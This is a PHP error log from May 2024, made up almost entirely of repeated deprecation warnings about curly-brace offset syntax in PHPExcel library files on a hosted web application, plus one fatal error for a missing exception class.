UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 279 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 286 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 299 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 318 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 340 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 361 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 368 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 388 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 393 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 399 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 404 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 410 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 426 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 447 [11-May-2024 05:08:14 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 463 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 321 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 324 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 562 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Functions.php on line 612 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:19 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:21 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:23 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:24 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:26 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [11-May-2024 05:08:27 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [21-May-2024 23:57:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [21-May-2024 23:57:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [21-May-2024 23:57:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [21-May-2024 23:57:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [21-May-2024 23:57:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [21-May-2024 23:57:07 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 05:22:54 UTC] PHP Fatal error: Uncaught Error: Class 'PHPExcel_Exception' not found in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php:28 Stack trace: #0 {main} thrown in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/Exception.php on line 28 [22-May-2024 05:29:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 05:29:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 05:29:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 05:29:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 05:29:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 05:29:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 06:10:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 06:10:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 06:10:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 06:10:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 06:10:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 06:10:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 06:14:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 06:14:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 06:14:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 06:14:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 06:14:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 06:14:02 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 43 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 44 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 45 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 46 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 47 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 48 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 49 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 50 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 51 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 52 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 53 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 54 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/TextData.php on line 55 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 08:07:04 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 09:00:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 09:00:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 09:00:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 09:00:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 09:00:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 09:00:40 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 11:19:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 526 [22-May-2024 11:19:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 527 [22-May-2024 11:19:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 538 [22-May-2024 11:19:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 539 [22-May-2024 11:19:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 541 [22-May-2024 11:19:45 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Shared/String.php on line 542 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 162 [22-May-2024 11:42:36 UTC] PHP Deprecated: Array and string offset access syntax with curly braces is deprecated in /home/papecmvm/public_html/application/libraries/PHPExcel/Calculation/FormulaParser.php on line 184 